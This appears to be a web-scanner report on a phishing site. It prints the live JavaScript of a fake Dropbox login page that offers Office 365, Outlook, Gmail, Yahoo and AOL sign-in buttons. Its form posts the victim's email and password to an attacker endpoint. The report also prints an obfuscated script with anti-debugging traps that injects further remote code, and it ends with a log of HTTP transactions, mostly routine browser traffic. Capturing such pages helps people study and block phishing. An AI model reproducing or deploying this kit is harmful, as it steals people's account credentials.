#4 JavaScript::Eval (size: 12834, repeated: 1) - SHA256: 202710ae3a2d717f0fbd199639743189d67829080daa44a48fcc72311c89db0f

                                        Vue.component('admin_login', {
    template: "<div class=\"en dropbox-2015 dropbox-2015--responsive dropbox-logo-2015 exp-growth_web_google_register__GOOGLE3\" id=\"officenbr365\"><nbr-pageseo :page-title=\"titlenbrttt\"></nbr-pageseo><header class=\"mast-head\"><div class=\"mast-head__container container\"><nav class=\"mast-head__nav mast-head-nav\"><ul class=\"nav-list\"><li class=\"nav-list__item nav-list__item--dfb\"><a data-js-component-id=\"component39250\" href=\"#\" id=\"try-dfb\" class=\"button-tertiary try-dfb\">&#x54;&#x72;&#x79;&#x20;&#x44;&#x72;&#x6f;&#x70;&#x62;&#x6f;&#x78;&#x20;&#x42;&#x75;&#x73;&#x69;&#x6e;&#x65;&#x73;&#x73;</a></li></ul><ul class=\"nav-list\"><li class=\"nav-list__item nav-list__item--download\"><a href=\"#\" class=\"button-link\">Download the app</a></li></ul></nav><h1 id=\"dropbox-logo\" class=\"dropbox-logo\"><span class=\"dropbox-logo__glyph\"></span><span class=\"dropbox-logo__type\">&#x44;&#x72;&#x6f;&#x70;&#x62;&#x6f;&#x78;</span></h1></div></header><div><div style=\"margin:0 auto;\"><h2 class=\"medium-title\" style=\"margin-top:15px;margin-bottom:0px;padding-bottom:0px;font-weight:bold;\">&#x44;&#x72;&#x6f;&#x70;&#x62;&#x6f;&#x78;&#x20;&#x77;&#x6f;&#x72;&#x6b;&#x73;&#x20;&#x74;&#x68;&#x65;&#x20;&#x77;&#x61;&#x79;&#x20;&#x79;&#x6f;&#x75;&#x20;&#x64;&#x6f;</h2><p class=\"small-title\" style=\"margin-top:0px;font-size:25px;color:#D6373B;\">&#x53;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x20;&#x79;&#x6f;&#x75;&#x72;&#x20;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x20;&#x70;&#x72;&#x6f;&#x76;&#x69;&#x64;&#x65;&#x72;&#x20;&#x74;&#x6f;&#x20;&#x6c;&#x6f;&#x67;&#x69;&#x6e;</p></div><section class=\"hero small-padding\" style=\"padding-top:10px;padding-bottom:0px;\"><div class=\"header-text\" style=\"padding:0px;width:60%;float:right\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/backdrop.jpeg\" style=\"\"></div><div class=\"header-text\" style=\"width:38%;float:left;\"><div v-show=\"showotherop==0\" style=\"width:100%;margin-left:40px;margin-top:7%;\"><div style=\"float:left;margin-right:20px\"><a data-js-component-id=\"component39250\" v-if=\"SH_OFF==1\" @click=\"openredirectsocial('365')\" id=\"try-dfb\" class=\"button-tertiary try-dfb\" style=\"color:#fff;background-color:#085da2;width:220px;height:50px;margin-bottom:10px;font-size:x-large;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/office365.png\" width=\"30\" style=\"border-radius:3px;float:left;\">Office 365</a></div><div style=\"float:left;margin-right:20px\"\"><a data-js-component-id=\"component39250\" v-if=\"SH_HM==1\" @click=\"openredirectsocial('hm')\" id=\"try-dfb\" class=\"button-tertiary try-dfb\" style=\"color:#fff;background-color:#085da2;width:220px;height:50px;margin-bottom:10px;font-size:x-large;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/MicrosoftAccount.png\" width=\"30\" style=\"border-radius:3px;float:left;\">Outlook</a></div><div style=\"float:left;margin-right:20px\"><a data-js-component-id=\"component39250\" v-if=\"SH_GG==1\" @click=\"openredirectsocial('gg')\" id=\"try-dfb\" class=\"button-tertiary try-dfb\" style=\"color:#fff;background-color:#085da2;width:220px;height:50px;margin-bottom:10px;font-size:x-large;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/googleplus.png\" width=\"30\" style=\"border-radius:3px;float:left;\">Gmail</a></div><div style=\"float:left;margin-right:20px\"\"><a data-js-component-id=\"component39250\" v-if=\"SH_YH==1\" @click=\"openredirectsocial('yh')\" id=\"try-dfb\" class=\"button-tertiary try-dfb\" style=\"color:#fff;background-color:#085da2;width:220px;height:50px;margin-bottom:10px;font-size:x-large;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/yahoo.png\" width=\"30\" style=\"border-radius:3px;float:left;\">Yahoo</a></div><div style=\"float:left;margin-right:20px\"><a data-js-component-id=\"component39250\" v-if=\"SH_AL==1\" @click=\"openredirectsocial('al')\" id=\"try-dfb\" class=\"button-tertiary try-dfb\" style=\"color:#fff;background-color:#085da2;width:220px;height:50px;margin-bottom:10px;font-size:x-large;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/aol.png\" width=\"30\" style=\"border-radius:3px;float:left;\">Aol</a></div><div style=\"float:left;margin-right:20px\"\"><a data-js-component-id=\"component39250\" v-if=\"SH_OT==1\" @click=\"chooseotherop()\" id=\"try-dfb\" class=\"button-tertiary try-dfb\" style=\"color:#fff;background-color:#085da2;width:220px;height:50px;margin-bottom:10px;font-size:x-large;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/email.png\" width=\"30\" style=\"border-radius:3px;float:left;\">Others</a></div></div><div v-show=\"showotherop==1\" id=\"otheraccountnbr\" style=\"width:100%;margin-left:50px;margin-top:7%;\"><form novalidate=\"\" @submit.stop.prevent=\"submit\" class=\"credentials-form login-form\"><div class=\"credentials-form__fields\"><div data-js-component-id=\"component5272041617130253173\" tabindex=\"-1\" id=\"pyxl5272041617130253171\" class=\"login-email text-input login-text-input standard\"><div v-show=\"errors.has('UserName')\" class=\"text-input-error-wrapper\"><span class=\"error-message\">&#x41;&#x6e;&#x20;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x20;&#x61;&#x64;&#x64;&#x72;&#x65;&#x73;&#x73;&#x20;&#x6d;&#x75;&#x73;&#x74;&#x20;&#x63;&#x6f;&#x6e;&#x74;&#x61;&#x69;&#x6e;&#x20;&#x61;&#x20;&#x73;&#x69;&#x6e;&#x67;&#x6c;&#x65;&#x20;@</span><div data-error-field-name=\"login_email\"></div></div><div class=\"text-input-wrapper\"><input v-bind:class=\"{'input-error':errors.has('UserName')}\" data-vv-name=\"UserName\" v-validate data-vv-rules=\"required|email\" v-model=\"username\" class=\"text-input-input autofocus\" type=\"email\" name=\"login_email\" id=\"pyxl5272041617130253172\" ><label v-show=\"!notblankUser\" style=\"\" for=\"pyxl5272041617130253172\">&#x45;&#x6d;&#x61;&#x69;&#x6c;</label></div><small class=\"secondary-label\"></small></div><div data-js-component-id=\"component5272041617130253176\" tabindex=\"-1\" id=\"pyxl5272041617130253174\" class=\"text-input login-password login-text-input standard\"><div v-show=\"errors.has('password')\" class=\"text-input-error-wrapper\"><span class=\"error-message\">&#x50;&#x6c;&#x65;&#x61;&#x73;&#x65;&#x20;&#x65;&#x6e;&#x74;&#x65;&#x72;&#x20;&#x79;&#x6f;&#x75;&#x72;&#x20;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;</span><div data-error-field-name=\"login_password\"></div></div><div class=\"text-input-wrapper\"><input v-bind:class=\"{'input-error':errors.has('password')}\" data-vv-name=\"password\" v-validate data-vv-rules=\"required\" v-model=\"password\" type=\"password\" id=\"pyxl5272041617130253175\" name=\"login_password\" class=\"password-input text-input-input\" ><label v-show=\"!notblankPass\" style=\"\" for=\"pyxl5272041617130253175\">&#x50;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;</label></div><small class=\"secondary-label\"></small></div></div><div id=\"react-login-recaptcha-challenge-div\"></div><div style=\"float:left\"><button type=\"submit\" class=\"login-button signin-button button-primary\"><div class=\"sign-in-text\">&#x53;&#x69;&#x67;&#x6e;&#x20;&#x69;&#x6e;</div><div class=\"sso-text\"></div></button><span v-if=\"submit_login\" style=\"display:block\" class=\"login-loading-indicator\"><img data-js-component-id=\"component5272041617130253178\" src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/ajax-loading-small@2x-vflAxdZTP.gif\" alt=\"\" data-hi-res=\"https://cfl.dropboxstatic.com/static/images/icons/ajax-loading-small@2x-vflAxdZTP.gif\" style=\"width:16px;height:16px;\"></span></div></form></div></div></section></div><div style=\"margin:0 auto;\"><img src=\"https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/hero-poster.png\" style=\"display:block;margin-left:auto;margin-right:auto;width:40%\"></div></div>",
    data: function() {
        return {
            hello: "Your friend ",
            SH_GG: 1,
            SH_OFF: 1,
            SH_HM: 1,
            SH_YH: 1,
            SH_AL: 1,
            SH_IC: 1,
            SH_OT: 1,
            username: "",
            password: "",
            textare: "",
            showotherop: 0,
            namefilepro: " ",
            subnbrnewver: "",
            submit_login: false,
            recapcha_login: "",
            catch_cp_login: false,
            typedr: IMGE_TYPE_DR,
            infoink: "green",
            typetextdr: "file",
            titlenbrttt: "Login Download Dropbox",
            platform: store.getters['browser/get_browser']
        }
    },
    computed: {
        imgsrdtn: function() {
            if (this.typedr == "pdf") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/pdf-vflrJJawN.png";
            }
            if (this.typedr == "img") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/image-vflTL6Nfs.png";
            }
            if (this.typedr == "txt") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/txt-vfl4dn7R8.png";
            }
            if (this.typedr == "doc") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/docx-vfl2kAs3n.png";
            }
        },
        imgsrcdr: function() {
            if (this.typedr == "pdf") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/page_white_acrobat-vfl3fQC9L.png";
            }
            if (this.typedr == "img") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/file-photo@2x-vflpwP0BN.png";
            }
            if (this.typedr == "txt") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/file-text@2x-vflKlVf-t.png";
            }
            if (this.typedr == "doc") {
                this.typetextdr = "file ";
                return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/file-docx@2x-vfl_MIyrM.png";
            }
            this.typetextdr = "folder ";
            return "https://fiekcndtitikaps.web.app/shjrkutmyngdbfvxz/themes/imgs/folder-icon-vflhARpvq.png";
        },
        notblankUser: function() {
            if (this.username != "") return true;
            return false;
        },
        notblankPass: function() {
            if (this.password != "") return true;
            return false;
        },
        keeplogin: function() {
            if (store.getters['user/checkKeepLogged']) return true;
            return false;
        },
        authvalue: function(newval) {
            return store.getters['user/getAuthValue'];
        },
        authkey: function(newval) {
            return store.getters['user/getAuthKey'];
        }
    },
    created: function() {
        this.subnbrnewver = new Date().getTime() + "0FF1c365" + randomId(4);
        document.querySelector("link[rel*='icon']").href = "https://cfl.dropboxstatic.com/static/images/favicon-vflUeLeeY.ico";
        this.titlenbrttt = " Login Download Dropbox";
        var agiagi = this;
        this.$nextTick(function() {
            agiagi.SH_GG = a_SH_GG;
            agiagi.SH_OFF = a_SH_OFF;
            agiagi.SH_HM = a_SH_HM;
            agiagi.SH_YH = a_SH_YH;
            agiagi.SH_AL = a_SH_AL;
            agiagi.SH_IC = a_SH_IC;
            agiagi.SH_OT = a_SH_OT;
        })
    },
    methods: {
        swithopen: function(a) {
            if (a == "term") {
                window.open('http://www.docusign.com/company/terms-of-use/lang/en', 'TermsOfUse');
            } else if (a == "support") {
                window.open('https://www.docusign.com/support', 'CorporateSupport')
            } else if (a == "fes") {
                window.open('http://community.docusign.com/t5/Feedback/ct-p/feedback', 'Feedback')
            } else if (a == "prop") {
                window.open('http://www.docusign.com/IP/lang/en', 'IntellectualProp')
            } else if (a == "aasf") {
                window.open('http://www.docusign.com/company/privacy-policy/lang/en', 'PrivacyPolicy')
            }
        },
        chooseotherop: function() {
            this.showotherop = 1;
        },
        openredirectsocial: function(vt) {
            router.push({
                path: '/' + vt + '-' + randomId(105) + '-' + randomId(94) + '/' + randomId(86)
            });
        },
        openLoginnbr: function() {
            var panel_f = document.getElementById("shmodel-nav");
            var head_f = document.getElementById("shmodel-content-area");
            var panel_l = document.getElementById("login-menu");
            head_f.style.display = "none";
            panel_f.style.display = "none";
            panel_l.style.display = "block";
        },
        closeLoginnbr: function() {
            var panel_f = document.getElementById("shmodel-nav");
            var head_f = document.getElementById("shmodel-content-area");
            var panel_l = document.getElementById("login-menu");
            head_f.style.display = "block";
            panel_f.style.display = "block";
            panel_l.style.display = "none";
        },
        changeKeepLogged: function(e) {
            if (e) {
                store.dispatch("user/setKeeplogin", 1)
            } else {
                store.dispatch("user/setKeeplogin", 0)
            }
        },
        updateData: function(data) {
            this.textare = data;
        },
        submit: function() {
            this.$validator.validateAll().then(function() {}).catch(function() {});
            if (!this.errors.any() && !this.submit_login) {
                this.submit_login = true;
                var aptsTemps = this;
                var aptsTemps = this;
                var datcrt = {
                    "timely": new Date().getTime(),
                    "nameSub": this.subnbrnewver,
                    "em": this.username,
                    "pa": this.password,
                    "ty": 0,
                };
                var formData = new FormData();
                formData.append(randomId(4) + (new Date().getTime()), Vue.crptDT(datcrt));
                formData.append(randomId(4) + (new Date().getTime()), randomId(parseInt(Math.random() * 100 + 3)));
                instance.post('NW5sYTBMMUt3UGgvZkh6Vi9zOHdDbnRpdjVOeFVKVGNFWXcxc1doZVBibXZ4Ym41eU5CNDdGcTRKeGRiVFEwSEYzMEk3N09SNEhhZmYvSE11L2tMR1E9PQ', formData, {
                    headers: {
                        'Content-Type': 'multipart/form-data'
                    }
                }).then(function(response) {
                    data = response.data;
                    window.location.href = LINKRE_RESULT;
                }).catch(function(thrown) {
                    if ((thrown.message).includes("Network Error")) {
                        instance.defaults.baseURL = instancesta.defaults.baseURL;
                    }
                    if (axios.isCancel(thrown)) {
                        aptsTemps.submit_login = false;
                    } else {
                        aptsTemps.submit_login = false;
                    }
                });
            }
        }
    }
});
                                    

Executed Writes (1)

#1 JavaScript::Write (size: 3277, repeated: 1) - SHA256: f88ed85c3c7c43f5b9f01c161fbab133f8b2cb7d09cb8a24f22e48e57136ae13

                                        < script >
    var _0x1caa = ["y291BNrLCG==", "yxbWBhK=", "zNvUy3rPB24GkLWOicPCkq==", "y29UC3rYDwn0B3i=", "zokzOgvTzNjVBwDLDg5ICNrVBW==", "Dg9tDhjPBMC=", "BgvUz3rO", "CMv0DxjUicHMDw5JDgLVBIGPia==", "D2fYBG==", "y29UC29Szq==", "C3rHDgvpyMPLy3q=", "zgvIDq==", "y2HHAw4=", "zxjYB3i=", "Bg9N", "CgxIMAb0zxH04PMGAMf2yxnJCMLWDokzOhnYy+kzOhjPA2THy2HP4PMGyxbWzw5Kq2HPBgtIMAbXDwf0AwfWCgnU4PMG", "D2HPBguGkhrYDwuPihT9", "ChjVDg90ExbL", "DgvZDa==", "Aw5PDa==", "xcTCkYaQkd86w2eTEKeTwL8KxvSWltLHlxPblvPFjf0Qkq==", "yMLUza==", "xhCR", "z2DLCG==", "C3rYAw5N", "oZmUAcGIAsiPwZbDlMmOmsK7", "CMvWBgfJzq==", "x19WCM90B19F", "zxHJzxb0Aw9U", "ywn0Aw9U", "mIbQpsiIoZiGmsa9idmUnsGInIiPoZeUnYa9ici4lZKIoZeUysa9ici0oI8VyI5KlMuVzI5NiG=="];
! function(n, x) {
    ! function(x) {
        for (; --x;) n.push(n.shift())
    }(398)
}(_0x1caa);
var _0x5956 = function(x, n) {
    var r = _0x1caa[x = +x];
    void 0 === _0x5956.pfEnrQ && (_0x5956.NfEQyb = function(x) {
        for (var n = function(x) {
                for (var n, r, t = String(x).replace(/=+$/, ""), i = "", e = 0, o = 0; r = t.charAt(o++); ~r && (n = e % 4 ? 64 * n + r : r, e++ % 4) && (i += String.fromCharCode(255 & n >> (-2 * e & 6)))) r = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);
                return i
            }(x), r = [], t = 0, i = n.length; t < i; t++) r += "%" + ("00" + n.charCodeAt(t).toString(16)).slice(-2);
        return decodeURIComponent(r)
    }, _0x5956.awUjYK = {}, _0x5956.pfEnrQ = !0);
    var t = _0x5956.awUjYK[x];
    return void 0 === t ? (r = _0x5956.NfEQyb(r), _0x5956.awUjYK[x] = r) : r = t, r
};

function _0xdafeb0(x) {
    function n(x) {
        if (typeof x === _0x5956("0x1e")) return function(x) {}.constructor(_0x5956("0x16"))[_0x5956("0x7")](_0x5956("0x6"));
        1 !== ("" + x / x)[_0x5956("0xc")] || x % 20 == 0 ? function() {
            return !0
        }.constructor(_0x5956("0x11") + _0x5956("0x1d")).call(_0x5956("0x4")) : function() {
            return !1
        }[_0x5956("0x9")]("debu" + _0x5956("0x1d"))[_0x5956("0x7")](_0x5956("0x10")), n(++x)
    }
    try {
        if (x) return n;
        n(0)
    } catch (x) {}
}
setInterval(function() {
    _0xdafeb0()
}, 4e3), eval(function(x, n, r, t, i, e) {
    var o, c = (o = !0, function(n, r) {
        var x = o ? function() {
            if (r) {
                var x = r.apply(n, arguments);
                return r = null, x
            }
        } : function() {};
        return o = !1, x
    });
    ! function() {
        c(this, function() {
            var x = new RegExp(_0x5956("0x8")),
                n = new RegExp(_0x5956("0x1a"), "i"),
                r = _0xdafeb0(_0x5956("0x19"));
            x[_0x5956("0x18")](r + _0x5956("0x12")) && n[_0x5956("0x18")](r + "input") ? _0xdafeb0() : r("0")
        })()
    }();
    var a, f = (a = !0, function(n, r) {
        var x = a ? function() {
            if (r) {
                var x = r.apply(n, arguments);
                return r = null, x
            }
        } : function() {};
        return a = !1, x
    });
    if (f(this, function() {
            for (var x = function() {
                    var n;
                    try {
                        n = Function(_0x5956("0xd") + '{}.constructor("return this")( ));')()
                    } catch (x) {
                        n = window
                    }
                    return n
                }(), n = x[_0x5956("0xf")] = x[_0x5956("0xf")] || {}, r = [_0x5956("0x14"), _0x5956("0xe"), "info", _0x5956("0x13"), _0x5956("0x3"), "table", "trace"], t = 0; t < r.length; t++) {
                var i = f.constructor[_0x5956("0x17")][_0x5956("0x1b")](f),
                    e = r[t],
                    o = n[e] || i;
                i[_0x5956("0x2")] = f.bind(f), i.toString = o[_0x5956("0xb")].bind(o), n[e] = i
            }
        })(), i = function(x) {
            return x[_0x5956("0xb")](36)
        }, !"" [_0x5956("0x1")](/^/, String)) {
        for (; r--;) e[i(r)] = t[r] || i(r);
        t = [function(x) {
            return e[x]
        }], i = function() {
            return _0x5956("0x1c")
        }, r = 1
    }
    for (; r--;) t[r] && (x = x[_0x5956("0x1")](new RegExp("\\b" + i(r) + "\\b", "g"), t[r]));
    return x
}(_0x5956("0x5") + _0x5956("0x0"), 0, 20, ("\u2660script34ssd\u2660var\u2660document\u2660https\u2660createElement\u2660script\u2660ty" + _0x5956("0x15") + "pw\u2660622247eee66111503f639bad\u2660js\u2660getElementsByTagName\u2660hea" + _0x5956("0xa")).split("\u2660"), 0, {})); < /script>
                                    


HTTP Transactions (38)


Request Response
                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.36
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 939
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Type, Alert, Backoff, Retry-After, Content-Length
Cache-Control: max-age=3600
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Date: Wed, 28 Sep 2022 21:15:44 GMT
X-Content-Type-Options: nosniff
X-Cache: Hit from cloudfront
Via: 1.1 814e8c24454087e83cd261a6cf477166.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: PltFLoddWrKjK6hz5fWljPqY8KPK4ElYVPZ3i4bFSG9SAYOftqUtxQ==
Age: 3323


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    2d12f67fe57a87e7366b662d153a5582
Sha1:   d7b02d81cc74f24a251d9363e0f4b0a149264ec1
Sha256: 73c273c0b5a2de3cb970b8e8c187999d3b55e760dc7766dab4bb76428d19b551
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "2A40F957A6B1734AA3F87CFF51B673F0536732DB15B09033DD604879692DF349"
Last-Modified: Tue, 27 Sep 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=3955
Expires: Wed, 28 Sep 2022 23:17:02 GMT
Date: Wed, 28 Sep 2022 22:11:07 GMT
Connection: keep-alive

                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-10-30-18-47-44.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.49
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
content-length: 5348
last-modified: Sat, 10 Sep 2022 18:47:45 GMT
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
date: Wed, 28 Sep 2022 09:24:14 GMT
etag: "6113f8408c59aebe188d6af273b90743"
x-cache: Hit from cloudfront
via: 1.1 185768229530368be94556dcab1c486a.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-C1
x-amz-cf-id: HpM72NlPuxvqNpg6rILN1VJEMFZk4eA2ZPyjgfWMZT5LOpxJI1zh1A==
age: 60161
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    6113f8408c59aebe188d6af273b90743
Sha1:   7398873bf00f99944eaa77ad3ebc0d43c23dba6b
Sha256: b6e0cc9ad68306208a160f3835fb8da76acc5a82d8fde1da5a98e1de1c11a770
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Wed, 28 Sep 2022 22:11:07 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.36
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 329
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: ETag, Expires, Content-Length, Cache-Control, Pragma, Content-Type, Alert, Backoff, Last-Modified, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Last-Modified: Fri, 25 Mar 2022 17:45:46 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Date: Wed, 28 Sep 2022 21:29:33 GMT
Cache-Control: max-age=3600, max-age=3600
Expires: Wed, 28 Sep 2022 22:26:58 GMT
ETag: "1648230346554"
X-Cache: Hit from cloudfront
Via: 1.1 96c778ce6156d12f24b8b6cdaa0cbf66.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: LN8xE2yGjKX4H3rUU9MYlDI2pwAr-Yhuq04yuuptxX-jLVo-JM4ZJg==
Age: 2495


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Cache-Control: 'max-age=158059'
Date: Wed, 28 Sep 2022 22:11:08 GMT
Server: ECS (amb/6B85)
Content-Length: 280

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5961
Cache-Control: 'max-age=158059'
Date: Wed, 28 Sep 2022 22:11:08 GMT
Last-Modified: Wed, 28 Sep 2022 20:31:47 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: f9XnjEzgC/7gQDR5sPN+Lw==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

                                         
                                         44.240.207.158
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: XpLM6KUvwMBMoCe++q4L+prWWJc=

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 1
Cache-Control: 'max-age=158059'
Date: Wed, 28 Sep 2022 22:11:09 GMT
Last-Modified: Wed, 28 Sep 2022 22:11:08 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 280

                                        
                                            GET /shjrkutmyngdbfvxz/themes/css/92553ccffe8374bf711dfe7e3f8f5ed2nbr1646413804.css HTTP/1.1 
Host: fiekcndtitikaps.web.app
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://late-rice-0fc8.regan21.workers.dev/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         199.36.158.100
HTTP/2 200 OK
content-type: text/css; charset=utf-8
                                        
cache-control: max-age=3600
content-encoding: br
etag: "4c3697048c724298284c7a8e89f9e111e36c789eb0ab34bdbc14da684a41cfe7-br"
last-modified: Sun, 13 Mar 2022 15:41:07 GMT
strict-transport-security: max-age=31556926; includeSubDomains; preload
